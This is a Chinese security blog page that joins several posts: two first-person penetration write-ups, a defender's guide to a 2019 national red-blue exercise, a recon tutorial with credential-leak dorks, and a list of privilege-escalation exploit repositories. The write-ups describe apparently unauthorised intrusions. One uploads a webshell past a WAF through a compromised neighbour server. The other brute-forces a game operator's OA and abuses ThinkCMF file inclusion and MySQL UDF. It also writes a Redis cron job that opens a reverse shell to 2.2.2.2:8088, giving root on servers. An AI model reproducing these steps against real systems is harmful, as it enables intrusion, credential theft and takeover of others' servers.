分类 ANONYMOUS 下的文章

前言

今天本来应该过6.1儿童节的,恰巧昨天和mrx渗透的一个站上传还没有绕过,早上mrx和我就开始重新看看,先说一下背景,首先通过弱口令进了后台,经过一番寻找发现了如下配置

1.png

看到这个,已经胸有成竹,接下来就是常规的加上php后缀,并且上传一波,于是我来了一发如下:

2.png

waiting了很久有waf检测 我直接 cancle了,接下来就是有趣的绕waf,我绕了3个小时,各种奇葩姿势都弄出来了,比如下图

3.png

都改成这个鬼样子了 还是过不鸟 尝试过各种一般用的过waf的方法:

1.jpg.php  1.php.jpg 1.php%00.jpg 
filename=1.jpg
filename=1.php
Content-Disposition: form1-data; name="Filedata"; filename="3.php"
Content-Disposition: form-data; name="filename"; filename="3.jpg" .php
filename="垃圾数据 30w".jpg.php

因为系统是windwos的 利用windows特性 文件如果以::$DATA结果那么这部分自动会被去掉 所以配置允许后缀为php::$DATA,拿去发包,waf直接检测到,我改为 ::data 就可以发包但是返回保存出错,同理我利用? . 等windows特性尝试绕过(如果这些特殊字符比如? . ! 等在文件名结尾的时候有一定几率被直接去掉),把这些特殊字符作为文件结尾进行尝试结果全部以失败告终,失败原因都是和下面这个图片一样
尝试用长文件名截断同样失败

4.png

等等等等 还尝试了各种后缀

pht,php,phtml,php3,php4,php5,php6,php7,aspx,asmx,asp,jsp,jspx

我的心情如下:

5.png

全都告以失败,弄到了前一天的晚上12点,还是拿不下,于是洗澡睡了.........
第二天 也就是 6.1儿童节 又开始一杯茶一包烟一个破站绕一天.........

正文

其实前一天晚上我就想到了这种方法,但是嫌麻烦就没试,今天没办法了,实在是绕不过,于是尝试使用这种方法,利用内网ip或者是ip白名单来绕过waf,如果两个服务器在同一个内网,那么他们之间互相访问可能并不会经过waf在的服务器,又或者是ip白名单的原因导致这样有可能绕过waf,因为之前拿过和这个站同属一个体系的另外一个站,所以我想试试这种方法,我在已经拿到shell的那个站上(可以出网),ping 现在这个站 解析的ip 并不是内网ip 心中有一丝灰暗掠过....管他的,只有试试了,说明一下已经被getshell的站我称为A站,A站为linux环境,现在这个还没拿下的称为B站.
首先我要在A站上弄一个socks代理 然后通过这个代理我去访问B站,然后上传,因为A站是在内网,所以我先尝试用web代理,用的是这个Neo-reGeorg,流量加密版 reGeorg,但是用之前我就感觉成功率不高,因为php版本的这个代理不是很好用,之前没有使用成功过,不过asp,aspx的倒是很好用,我将本地端口8888与A站上的tunnel.php 建立连接 然后我用burp走 8888 端口,结果失败,连接有问题,这是预料之中的,那就换一种代理方法,既然可以出网,可以用ew 让他 与我的公网vps 建立连接,然后我通过我的vps对应的端口走代理,这里就不详述了,因为当时觉得这种方法比较麻烦,既然我已经有一个shell并且可以执行命令了,而且有curl,那我为什么不直接通过curl 来发post包上传呢 于是搜索了一下curl的使用方法,如果要用curl传文件 必须要用 -F 选项 使用了-F参数,curl会以multipart/form-data的方式发送POST请求。-F以key=value的形式指定要上传的参数,如果是文件,则需要使用[email protected]的形式

然后现在我的vps上测试了一下直接给B站发上传包成功了,ok,咱们直接上A站发包

sessid=1590980086 和 moudl=content 都是上传包需要的

6.png

可以看见我们成功绕过了waf,因为之前上传如果是php后缀都是直接封掉不会有返回包,现在没有被封,说明已经绕过了waf,这两台机器应该在同一内网,但是为什么会出现上传类型不允许呢,而且我已经在配置中设置了允许php后缀,如果看过我前面审计发卡平台文章的兄弟应该已经明白了,虽然设置了允许php后缀,但是我猜测后台应该是大概长个样子:

$store=['jpg','png','php']  #类似这样 如果我设置了允许php后缀 那么 php就会被加入这个数组  $ext视为获取的文件后缀名
if(in_array($ext,$store)&&$ext!="php"&&$ext!="php3"&&$ext!="pht"...){ 类似这样
  上传操作
} else{
echo "上传类型不允许";
}

这样子的话就很好绕过了,在windwos条件下 文件名称最后如果有空格那么是会被去掉的,利用这个特性就可以轻松绕过,配置一下允许上传的后缀

7.png

然后上传

8.png

到这里我以为基本已经拿下 访问之 没想到404 难道没传上去? 于是我把php后缀换成了p 方法完全一样 在配置中增加 p空格 然后上传 访问发现是成功去掉最后的空格并且上传成功了的 那应该就是设置了配置文件 设置某个目录下 访问php文件就返回 404 那这时候需要跨目录去别的目录,我发现上传包中的 module参数的值 content是被放到了 上传后的文件路径中 我加入 ../ 发包 一发入魂 成功跨目录

9.png

蚁剑访问之 看到了 绿色的成功连接 心中一丝舒爽........

站群的截图就不放了 执行命令一发whoami 哦哟

10.png

end

因为所在单位的公司属性,有幸作为防守方赶上了2019年的攻防演练。整个过程历时几个月时间,有思考、有规划、有实施,但是因实际情况所限,总有一些想法没有尝试,总有一些规划没有“落地”,也有一些经历过之后的恍然大悟,稍作记录以便未来实践并与即将参加2020年攻防演练的小伙伴们简要分享。

攻防演练对各家公司里安全技术人员来说,真的喜忧参半,难以言表。借用我微信好友的一句话(出处不详):“它让公司CSO有种崇祯即位的复杂感觉。前者是兴奋,受到高度重视,充满雄心抱负收拾旧山河;后者是失落,内忧外患,虽有万里长城但不知道敌人以什么方式翻墙而入,长城成了一个奢级消费品;朝堂之争如公司管理文化。山河好大总有文治武功第一king能收拾。”

本文主要阐述一下攻防演练各个阶段的建议与小提示,如有雷同,纯属巧合。私信或评论提示后会及时修正。基本提纲如下:

1.小道消息泛滥,制定内部计划
2.摆正心态,虚心向乙方求教
3.高层汇报,寻求支持
4.认真宣讲,建立统一战线
5.修正内部计划,做好准备工作
6.联合乙方公司,开展预演练
7.正式战斗
8.演练总结,高层汇报
9.对于2020年攻防演练的tips

一、小道消息泛滥,制定内部计划

因为攻防演练的性质,决定了“参演名单”不到最后一刻,是不会正式通知的。所以对于【第一次、可能参演】的公司,早期的小道消息就极为重要。越是提早得知,越有充足的时间来做好准备工作,佛系对待攻防演练,甚至抱着可能不参加的侥幸心态,最后一般都死得很惨。消息来源可能是公安、总参(做“等保”总会认识一些)、网信办(网安法主管部门)、乙方安全公司(利益往来)、同业公司(经验共享)、安全应急响应中心(问题通报)等。考验社交人际关系的时刻到了!

如果确定自身大概率会参加,那么就可以着手准备了。不应担心最后不在名单中而做了许多无用功,在名单里,该干嘛干嘛,不在名单里,按照在名单的情况模拟演练一遍,也是大有裨益的。当然这种情况要提前和管理层说明清楚,做好两手准备的计划、预算和商务事宜。毕竟攻防演练对安全人员来说算是一道东风,好好利用才是正道。

得到小道消息后,第一件事就是制定内部计划:

(1)公司希望这次攻防演练达到什么效果;
(2)公司希望得到什么程度的排名;
(3)公司准备投入多少人力、资金;
(4)公司有哪些安全家底,设备、人方面还缺什么;
(5)公司近几年的安全情况如何,短板在哪里;

摸清公司的态度与家底,是制定第一版内部工作计划的关键。

二、摆正心态,虚心向乙方求教

什么是攻防演练,攻防演练怎么玩,玩不好有什么后果。如果公司不是很清楚,不妨和安全乙方公司好好交流一番。(说一句政治不正确的话:站在公司层面看,攻防演练是乙方的狂欢,甲方的噩梦)毕竟不是第一年开展这样的演练,安全乙方公司实战经验更丰富,实战方案也做的更完善,对攻防演练的理解也比多数甲方要深刻。该阶段小tips:

(1)注意多和【不同属性的安全乙方公司】做交流,这样可以保障视野的全面性。所谓【不同属性】指的是乙方公司的业务领域不同,导致看待攻防演练的视角不同,再加上要推销自己的产品,拿出的攻防演练方案也不同。做网络安全的公司、做终端安全的公司、做安全咨询的公司、做数据安全的公司、做情报的公司、做渗透测试的公司,这些都是不同属性的公司。利益驱动下的技术交流,导致乙方销售往往不能跳出自身狭隘的安全观,导致攻防演练方案虽好,但却存在不易发现的短板问题。总之兼听则明。

(2)和乙方交流后,公司基本上可以掌握一些攻防演练常识,甚至知道了应该买点什么补充自己的不足。一般情况下,【买人头、租设备】是比较可行的补充安全能力方式。商务结算也比较统一方便。而且越早买越便宜。这是一个【供求关系畸形】的特殊时期。

(3)一般情况下,企业可能需要如下设备:

1)必须品:防火墙、VPN、邮件反垃圾、防病毒;
2)日用品:WAF、EDR(终端管控)、反恶意邮件;
3)奢侈品:SOC、流量分析设备、蜜罐蜜网、沙箱、威胁情报、安全专家。

三、高层汇报,寻求支持

永远不要忘记安全工作是“自上而下”开展的。需求高层支持或承诺至关重要。否则攻防演练就变成了安全人员或部门的自嗨行为,业务、IT完全充当旁观者,甚至觉得安全人员很脑残,怎么最近天天搞事情。该阶段小tips:

(1)先给老板扣一个政治正确的帽子,什么“习大大419讲话”,什么“网络安全法处罚条目”、“什么同业排名”,里子面子都要照顾到,考验安全从业者语言艺术的时刻到了。
(2)把和安全乙方公司交流过程中,听到的攻防演练案例,翻译成高层能听懂的语言,再讲一遍;18,19年的攻防演练,哪些公司被按在地上摩擦,是怎么被摩擦的,我们要如何避免被摩擦,所以我们买哪些安全设备或人员,有理有据才能说的动老板。

四、认真宣讲,建立统一战线

让业务部门、IT部门理解攻防演练是什么、攻防演练要注意什么是非常重要的一个环节。让业务、IT转变心态,有一些紧张感与忧患意识。否则必然出现猪队友问题。该阶段小tips:

(1)讲故事是最有效、最实际的方案;比如社会工程案例(虽然攻防演练中可能不允许社会工程行为)。可以参考《社会工程-安全体系中的人性漏洞》编写一些案例来提高员工的安全意识。我司在攻防演练期间,结合公司实际情况给员工编写了12个参考案例,这里罗列几个比较通用的。

案例参考书目:

1)《CISSP指南all in one》(最厚的那本);
2)《社会工程1-安全体系中的人性漏洞》;
3)《社会工程3-防范钓鱼欺诈》。

案例猜想一:账号骗取(例如星巴克注册打折)

案例描述:某公司楼下出现一个星巴克广告牌,写着回馈周边企业用户,注册享6折,并提供了注册二维码链接,某员工扫描二维码后,注册页面要求,该活动只面向周边企业客户,必须用企业的邮箱账号和密码来注册,员工未加思索,提供了企业邮箱账号及密码;

案例分析:(1)提供企业邮箱账号后,发了一份激活邮件是正常注册方式;(2)要求提供密码是不正常的要求,应警惕账号骗取风险;

案例启示:禁止或尽可能避免使用企业邮箱及密码在攻防演练期间进行注册行为;

案例猜想二:办公网非“常规PC终端”被病毒感染(前台终端)

案例描述:某公司前台小姐姐使用的PC终端在网络划分上归属于员工办公网,攻击人员通过各类手段,将病毒U盘插入前台PC终端,导致办公网被攻破;例如长得很帅的攻击人员可以假冒面试学生,请求前台协助打印一份个人面试简历,并将U盘交给前台小姐姐;

案例分析:(1)前台类终端在网络划分上应物理独立,尽可能避免归属员工办公网;(2)前台终端应禁止使用XP等没有官方维护的操作系统,避免一些先进的“非接触式”攻击,比如通过蓝牙频段的信号攻击;(3)加强外来人员管理,禁止外来人员“物理接触”或“电子设备接触”前台终端设备;

案例猜想三:办公网非“常规PC终端”被病毒感染(wifi管理终端)

案例描述:某公司出于某种目的,搭建了wifi热点供大家使用。但由于wifi热点物理覆盖面不可控,且wifi管理员账号存在弱密码问题,且为了维护方便,wifi热点管理台IP网段属于办公网段地址,造成攻击人员通过wifi攻击进入办公网,引起后续不良后果。

案例分析:(1)Wi-Fi热点管理员账号应避免弱密码问题;(2)Wi-Fi热点分配的管理IP应与办公网IP段应隔离;(3)Wi-Fi热点应关闭SSID广播;

案例猜想四:情景式钓鱼、恶意邮件攻击(病毒投递)

案例描述:某公司附近有一家快餐(或其他商店),攻击方踩点后,投递疑似该快餐店的优惠季邮件,带有钓鱼、恶意链接或附件,公司员工误认为曾经在该餐厅以邮箱账号注册过信息,没有对发件人信息等进行核对,点击钓鱼、恶意链接或下载附件,导致办公终端中毒或中木马,引起后续不良后果。

案例分析:(1)攻防演练期间,对于非公司员工发件人邮件,应谨慎对待;(2)不点击来历不明的链接;(3)不下载来历不明的附件;

案例猜想五:情景式钓鱼、恶意邮件攻击(数据骗取)

案例描述:某公司收到“非常规发件人”的红头文件邮件,例如假冒公安部、网信办,要求提供XXX数据信息,公司邮件接收人员未对相关发件人进行电话核实或向安全部门、法务部门进行咨询,直接回复并发送XXX数据信息,导致数据被骗取;

案例分析:(1)攻防演练期间,对于非公司员工发件人邮件,应谨慎对待;(2)红头文件邮件应电话咨询核实;(3)外发重要数据信息,应与安全部门、法务部门进行协商核对;

(2)为业务部门、IT部门建立咨询机制,在攻防演练期间如果发现了一些异常,业务、IT人员应该怎么做呢?可以向哪些安全从业人员需求咨询呢?

这需要明确当遇到哪种问题时,应该去咨询哪些人?异常情况类型与安全人员的映射清单应该给到业务与IT人员。安全纵然应该是人人有责,但也不意味着人人都要大量时间学安全,遇到安全问题知道联系哪位安全人员需求帮助,也算是一种进步。常见的问题包括“收到不明邮件”、“业务交易数据异常”、“保安遇到不明来源的人员”、“系统打紧急补丁”、“PC机异常”等。

五、修正内部计划,做好准备工作

搞定高层的支持、兄弟部门的配合与理解,才是一个好的开始。否则后续工作都是一团乱麻,寸步难行。此时,需要对“小道消息泛滥、制定内部计划”中的内部计划进行修订,并制定可落地的实施方案。关于攻防演练准备工作介绍的文章很多,几句话带过。如,应用系统纳入VPN、IPS/IDS策略更新、防病毒库更新、反垃圾更新、系统资产梳理、互联网地址排查、Github代码排查、云盘数据排查、漏洞扫描/渗透测试、补丁更新情况审计、历史漏洞回顾、特权账号回收、变更管控等。总之“平时不抓紧,攻防演练准备007”。该阶段小tips:

(1)补充防御或监控设备问题:

1)流量分析
2)EDR
3)威胁情报
4)WAF
5)蜜罐

(2)封堵IP问题:在【以不出局为目标】的立场下,考验的不是公司安全做得多么精妙,而是【考验封堵IP的快准狠】;封堵IP是攻防演练中的第二要义(第一要义是保障业务系统不要漏洞百出2333)。封堵IP是一个技巧活。大概要注意这么几个方面:

1)要让安全人员有操作界面去封堵IP,不能靠工单流程,指望网络人员去操作,时间上来不及;
2)要评估封堵一个c段、或者上万IP对防火墙性能的影响,因为组织方的IP池可能很大,更有租用阿里云的那种变态,搞分布式扫描,IP持续变化。如果封堵大量IP(量变引起质变)导致防火墙挂了或者CPU跳了几十个百分比,就准备切腹谢罪吧。
3)封堵IP,自然要考虑怎么解封IP,否则可能会被业务部门打死;

(3)海外分部问题:组织方可从来没说过,为了避免意外不准打海外分部机构,尤其是那种刚刚建设好的海外分部,都是最好的攻击跳板。往期也有很多先打分部再顺着网络专线打总部的例子。

(4)网络专线问题:如果防守方和其他公司有网络专线,那么按照常理来说,贵司都参加攻防演练了,专线对面的公司大概率也要参加。专线不设防时常态,攻防演练期间是一个重大问题。

(5)各类行动小组问题:防守方为应对攻防演练,肯定是成立了大量的行动小组,什么指挥组、监控组、分析组、处置组、专家组、协调组、情报收集组、监管汇报组、厂商协调组、待命组等等。很多文章都有讲解,这里为大家再补充几个小组:

1)补丁修复评估组:攻防演练期间,一定能赶上微软之类的大厂发版本补丁。另外还有各种针对0day快速交付的补丁。这些补丁在安全人员眼里是要命的存在,但是对业务系统也可能是要命的,时间紧,任务重,打还是不打,需要专业的评估和意见。建议将主要业务部门、IT元老联合起来,成立一个补丁修复评估组,在最短的时间内给出最合理的意见,把风险控制在最低。一般来说,攻防演练期间打5-10次补丁应该是要的。

2)安全问题受理组:前线疯狂封IP,安全设备开启强拦截策略,这种宁可错杀1000,绝不放过一个的态度,固然很好,但必然导致业务受影响。专门建立一个问题受理组,可以有效平息业务部门、IT部门的怒火,当然,这个组会很忙。因为从控制变量的角度看,攻防演练期间发生的任何业务故障,都是你们安全人员的问题,我们业务系统平时运行的可好了,请你们优先排查。

3)权限供给组:安全做的越好的公司,往往权限管控也越严,申请特权账号或权限的流程也越复杂,但是攻防演练期间,安全人员往往需要几分钟内就拿到某个系统的root账号做紧急操作,怎么办?当然是需要一个权限供给组,否则响应效率必然大打折扣。

4)漏洞修复组件开发与支持组:要想在小时级内修复新发现的漏洞,必然要提前准备好标准的安全组件代码,这才能保障时效。代码可以从乙方公司购买也可以组织自己的IT人员开发,写好代码组件之后,还要教会开发人员怎么配置和使用代码,这样想一想,确实需要一个漏洞修复组件开发与支持组。

(6)系统下线问题:老旧资产在攻防演练开始前要尽快回收。这个不必多说。另外一个问题就是被攻防演练组织方明确禁止的攻防演练期间系统下线问题。公司可以借鉴一下12306的日常操作,比如21点到第二天7点暂停提供服务,但是系统不下线,也是一个不错的做法。当然需要做一些代码配置的改动。应该算是合理的利用规则。

六、联合乙方公司,开展预演练

如果资金预算充足的话,建议在攻防演练开始前开展预演练,或者自己组织红蓝队进行演练。预演练主要有几个目的:

(1)检验准备工作是否到位,让攻击方协助发现一些未处理的问题和隐患;
(2)检验防守端的人员能力和准备工作情况,各类预案是否真实可执行;
(3)评估防守能力大概在什么段位?(大致分了6个level:裸奔level、工具一键打穿level、手动测试level、攻防演练不出局level、非0day不死level、神级level)

一次预演练下来,心里也就有些数了,以免妄自菲薄或者过于自信。该阶段小tips:

(1)如果红队(攻击队)是采购的,可以按照攻击效果付费。无成果不付费;
(2)攻击方要通过指定的VPN通道来攻击;非VPN通道的攻击可以用来演练IP封堵流程;
(3)每日要进行攻防对抗复盘,可按照如下流程执行:“问题及整改项回顾——今日漏洞或问题分析——防守方监控情况总结——整改任务下发。”伴随预演练,及时进行告警规则调整、告警级别调整、告警处置策略调整、分析报告整理、防守方人员分配调整、处置流程优化、应急预案优化、取证分析能力评估等。

七、正式战斗

做了准备和预演练,正式攻防演练期间相对就没那么紧张了。一般来说,防守方第一周就能看出来谁是软柿子谁是钢板。以2019年3周攻防演练为例,第一周攻击队基本上是无差别洪水式攻击,防守方封堵IP封得飞起,周五大概就有一批公司出局了。第二周会出现2级分化,有的防守方没事干,有的防守方被按在地上摩擦。大批量公司出局。第三周就是最后的冲刺阶段了,由于防守方出局,攻击队空闲导致会重新再分配,有些坚持得不错的防守方没能看到黎明的曙光,被大神带队的攻击队压倒性摩擦,功亏一篑,死的比较冤。总体来说,一刻也不能松懈,尤其是在第三周。该阶段小tips:

(1)时刻警惕在野0day和官方补丁问题,一般只有一个晚上的修复时间,第二天大概率会有exp出现;

(2)警惕高频扫描攻击下,手动渗透测试攻击行为。机器人扫描容易让监控人员麻木,而忽视了暗度陈仓的攻击流量;

(3)对于内网出现的异常流量,不要自己吓自己,不慌张才能排查清楚原因。我司就出现过symantec进程重启导致的网络异常扫描行为,当场僵住。

(4)及时提交攻防演练报告的问题,组织方的联络员是大爷,千万要客客气气的照顾好,多从他那里打听消息;

(5)每天多和同业、乙方公司销售交流,掌握第一时间的攻防演练动态,恐慌往往源自知道的太少;

(6)每天例行开工作总结会,最好让一把手参加,能当场决策的当场决策;

(7)5X8小时之外是不允许攻击的,但是没说不能做攻击脚本的验证工作,尤其是使用肉鸡来做,神不知鬼不觉,第二天早上9点准时就送贵司出局;

(8)攻防演练第一周你就能感受到公司流程的敏捷性、资产信息的清晰性、网络配置的诡异性,不用怀疑,这些都是历史遗留问题,不是你的错。

(9)养蛊问题:到底要不要为了加分而养一些IP地址呢?当你这么想的时候,请立即停止你的愚蠢行为。养蛊只能有2种,坚决不养和坚决养。两种都是对公司的安全工作绝对自信和绝对不自信。摇摆不定的想法,说明贵司的安全可能不是很可靠,这个时候贸然养蛊,随时有出局的风险。真正有能力养蛊的公司,比如银行、能源,早已有明确的养蛊策略,触发哪些告警必须封堵,触发哪些告警可以观察一下,水坑、蜜罐、反制工具样样齐全,而且高度逼真。比如2019年出现的Coremail漏洞问题,能力强的防守方连夜就能发布一个有Coremail漏洞的邮箱系统蜜罐,就等着攻击队去扫描了。只要防守方舍得花钱,反冲锋摩擦攻击队也不是不可能,成本和人力问题。

(10)提交组织方需要的溯源报告问题:数据怎么从公司内网拿出来,而且是合规的拿出来,需要提前准备一下。

(11)有一些工具是攻防演练指挥现场需要提前准备好的:集中的场地、电脑、合适的网络配置、固定电话、投影仪、会议室、U盘、打印机等。

(12)警惕防守监控人员里的间谍问题;

(13)监控告警的时候少吃零食,会变胖的。囧。

八、演练总结,高层汇报

攻防演练结束无论出没出局,都需要做演练总结,哪里做的好,哪里做的不好,后续的完善计划等等。并根据这些总结,制定未来的工作计划,也就是我们俗称的攻防演练常态化工作事项,是的,你没听错,常态化事项。只要中美对抗的趋势不变,未来的攻防演练还有很多,要做好心理准备。攻防演练会和等保测评一样频繁。除了内部总结内部汇报,还可以邀请乙方公司来讲一讲攻防演练期间的故事和案例,了解攻击队的日常工作和心态,了解同业的情况,了解组织方的情况等。都能提高公司对攻防演练整体情况的认识。

九、对于2020年攻防演练的tips

(1)不允许对系统做DDoS,但是可以对监控人员做告警DDoS。分布式非时序扫描探测,不同攻击IP、不同攻击类型、不同的被攻击系统,让监控告警的安全人员被无规则可循的告警淹没,攻击队就可以暗度陈仓的;

(2)更频繁的使用0day漏洞,fastjson、strusts、weblogic等一定会再次大放异彩的;只要换来的荣誉价值比漏洞价值高,攻击方肯定会用的,这要看组织方给大多的诱惑;

(3)某服VPN在2019年被打后,应该今年会再次被打,毕竟占有率这么高;

(4)攻击队分组问题,可能是大乱斗,随便打,做好心理准备;

(5)警惕组织方从运营商那里查防守方的专线情况,然后借用专线测试防守方;

(6)警惕IDC机房的攻击IP;

(7)警惕境外IP浑水摸鱼;

(8)攻防演练时间从3周变得更长时间的问题;

最后祝各位参加2020攻防演练的小伙伴们一切平安。2021年的100周年再见。

碰到了一个加好友推广某手游私服的广告哥,正好周末没事做,于是找他要了app看能不能渗透进去。

1.png

apk有点大,就不解包反编译了,直接用测试手机挂bp抓包,依旧要了一大堆权限,登陆界面很简陋而且有BUG,比如实名认证的地方可以drop掉,这样无需手机号或者身份证就可以注册账户登录。
游戏呢,是这样的(宣传视频)

2.png

但app用了全流量加密,所有的包都是乱码,就不截图了。
随手在百度site一下,发现个OA

3.png

没有验证码,且会提示用户名是否正确,看起来是可以爆破的

4.png

admin的密码直接被爆破出来,不过账户被禁用了

5.png

那就只能爆破其他用户名,再分别爆破他们的密码。成功登陆

6.png

不过后台没有任何利用点,没有SQL注入,没有上传点。
结果还是只能扫目录这种粗暴的活儿,扫了没几秒。

7.png

目录遍历+.git泄露,不过有php的目录无法遍历

8.png

用Githack脱源码
https://github.com/lijiejie/GitHack

9.png

收获不少,配置文件中有内网redis和mysql

10.png

一些隐藏的接口

11.png

以及最重要的,二次开发的cms版本

12.png

thinkcmf是有两个比较新的漏洞的

13.png

先试试第一个,往如下接口上传文件
/index.php?g=Asset&m=Ueditor&a=upload&action=uploadimage

14.png

15.png

有权限验证,还好之前爆破出了一个账户。但是漏洞似乎修复了,只能上传图片后缀文件。
没关系,还有第二个漏洞,文件包含
index.php?a=display&templateFile=/etc/passwd

16.png

包含index.php会泄露绝对路径

17.png

第二个漏洞本可以直接getshell的,但我这儿没有成功,配合第一个漏洞也可以getshell

18.png

很新的发行版和内核,提权无望

19.png

不过还记得配置文件中的redis和mysql吗?
虽然都是内网中的服务器,不过还是值得一试。

20.png

mysql居然没有读写保护,那么可以通过udf执行命令

select * from func;显示有sys_eval就可以执行命令

21.png

22.png

不过mysql服务器不通外网,权限也很低,再试试redis服务器
由于oa服务器上没有redis客户端,所以我用curl的dict协议来操作局域网redis

23.png

flushall
config set dir /var/spool/cron/
config set dbfilename root
set 0 "\n\n*/1 * * * * bash -i >& /dev/tcp/2.2.2.2/8088 0>&1\n\n"
save

等了一分钟,弹回root权限shell

24.png

history之后发现redis服务器上部署了gocron

25.png

和oa服务器用的一个数据库,密码带salt,解不出来,只能新增一个账户登录进去

26.png

这个系统可以新建crontab,里面刚好有游戏服务器的节点,写入反弹shell的命令,至此渗透完毕。

27.png

域名信息收集

域名介绍(Domain Name):是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时标识计算机的电子方位。
例如:www.baidu.com
whois是用来查询域名的IP以及所有者等信息的传输协议。就是一个用来查询域名是否被注册,以及注册域名的详细信息的数据库(如域名所有人,域名注册商)
whois协议。基本内容是,先向服务器的TCP端口43 建立一个连接发送查询关键字并加上回车换行,然后接收服务器的查询结果。
whois查询:
whois查询的重要性:通过whois查询可以获得域名注册者邮箱地址等信息。一般情况下对于中小型网站域名注册者就是网站管理员。利用搜索引擎对whois查询到的信息进行搜索,获取更多域名注册者的个人信息。
whois查询方法:
1.Web接口查询:
https://whois.aliyun.com/
https://www.whois365.com/cn/
http://whois.chinaz.com/
https://whois.aizhan.com/

1.png

2.通过whois命令行查询
在kali linux下自带了whois查询工具,通过命令 whois 域名 进行查询

2.png

与在线网站查到的信息是一样的。
ICP备案查询方法:
Web接口查询:
http://www.beianbeian.com/
http://www.miitbeian.gov.cn/publish/query/indexFirst.action
https://www.tianyancha.com/

子域名信息收集

子域名,凡顶级域名前加前缀的都是该顶级域名的子域名,子域名根据技术的多少分为二级子域名,三级子域名,多级子域名。
子域名是某个主域的二级域名或多级域名,在防御措施严密情况下无法直接拿下主域,那么就可以采用迂回战术拿下子域名,然后无限靠街主域。
1.子域名挖掘工具:Maltego CE、wydomain、subDomainsBrute、dnsmaper。layer子域名挖掘机。
2.搜索引擎挖掘, 如:在谷歌中输入site:sina.com
3.第三方网站查询:
http://tool.chinaz.com/subdomain
https://dnsdumpster.com
4.证书透明度公开日志枚举:
https://crt.sh/
http://censys.io/
5.其他途径
https://phpinfo.me/domain
http://dns.aizhan.com
CMS指纹识别

称为内容管理系统,用于网站内容文章管理
常见CMS:dedecms(织梦)、Discuz、phpcms等。
CMS在线识别工具
http://whatweb.bugscaner.com/look/
http://www.yunsee.cn/finger.html
本地工具 whatweb
御剑web指纹识别
大禹CMS识别程序 https://github.com/Ms0x0/Dayu
针对CMS漏洞查询
对于查询到的CMS可以利用 https://bugs.shuimugan.com 网站进行查询
探测工具
1.御剑(2020出了最新版本的御剑,有兴趣的可以找找)

3.png

工具界面

4.png

感觉应该不错的。
2.wwwscan命令行工具
3.dirb命令行工具
4.dirbuster扫描工具
5.wpscan(kali自带)

端口信息

windows命令行中使用netstat -anbo查看开放端口
端口收集
1.使用nmap探测。nmap -A -v -T4 目标ip
2.使用masscan探测(kali自带)
3.使用在线网站探测 http://tool.chinaz.com/port/
端口攻击
攻击者通过收集信息知道用户的哪个端口开启,就会知道怎么进行攻击,攻击方式多种多样常见的针对远程连接的服务端口有22、23、3389、5900、5632等端口,当然其他扫描到的端口可以在搜索引擎中查找对应的攻击方法进行测试。因为我也是小白,就先了解一下(多了解点知识总没坏处)
防御措施
1.关闭不必要的端口
2.对重要业务的服务端口设置防火墙
3.经常性更改用户密码
经常更新软件,打补丁(patch)

敏感信息收集

1.Google hack是指使用谷歌等搜索引擎对某些特定的网络主机漏洞进行搜索

5.png

Google hacking数据库: https://www.exploit-db.com/google-hacking-database/
例如:查询Access数据: filetype:mdb "standard jet" (password | username | user | pass)
2.Github信息泄露
github之邮件配置信息泄露:site:github.com smtp 、site:github.com smtp @qq.com
github之数据库信息泄露; site:github.com sa password 、 site:github.com root password、site:github.com User ID='sa' ;Password
github之svn信息泄露:site:github.com svn 、 site:github.com svn username
github综合信息泄露: site:github.com password 、 site:github.com ftp ftppassword 、 site:github.com 密码 、site:github.com 内部

真实IP地址收集

CDN就是内容分发网络,是构建在网络之上的内容分发网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。
判断CDN存在
通过ping 方法
这是一个存在CDN的网站,我尝试ping方法看到它是存在CDN的。

6.png

但是这个IP,是访问不了的。这里我没有将这个IP打码,就是因为这个。

7.png

通过设置代理或者利用在线ping网站来使用不同地区的Ping服务器来测试目标
http://ping.chinaz.com
绕过CDN
如果目标没有使用CDN,可以通过ping获取IP地址。或者利用在线网站 http://www.ip138.com
使用了CDN,那就绕过CDN来获取真实的IP地址
1.内部邮箱源,收集到内部邮箱服务器IP地址
2.网站phpinfo文件 phpinfo.php
3.分站IP地址,查询子域名 CDN很贵,很有可能分站就不再使用CDN。
4.国外访问 https://asm.ca.com/en/ping.php
因为有些网站设置CDN可能没有把国外的访问包含进去,所以可以这么绕过.
还是刚才那个有CDN的网站,这里就看出有许多的IP,不一样。

8.png

5.查询域名解析记录 https://viewdns.info/
验证IP地址
因为通过各种方法得到的IP地址有好多,就说明有的是伪IP,无法访问,这就需要逐个验证,方法简单但是信息量比较大,目前我还没了解到什么方法快速筛选,因为只是了解这些知识基础。
利用IP地址对Web站点进行访问,如果正常表明是真实的IP地址,否则不为真。

项目地址:https://github.com/lyshark/Windows-exploits

1.png

2.png

3.png

4.png

5.png

Windows平台提权漏洞集合

项目地址:https://github.com/SecWiki/windows-kernel-exploits

6.png

各大平台提权工具

项目地址:https://github.com/klsfct/getshell

7.png

Windwos辅助提权脚本

项目地址:https://github.com/ianxtianxt/win-exp-

8.png

SweetPotato修改版,用于webshell下执行命令

项目地址:https://github.com/uknowsec/SweetPotato

9.png

Webshell下提权执行命令

项目地址:https://github.com/uknowsec/getSystem

10.png

Linux平台提权漏洞集合

https://github.com/s0wr0b1ndef/Linux-Kernel-Exploites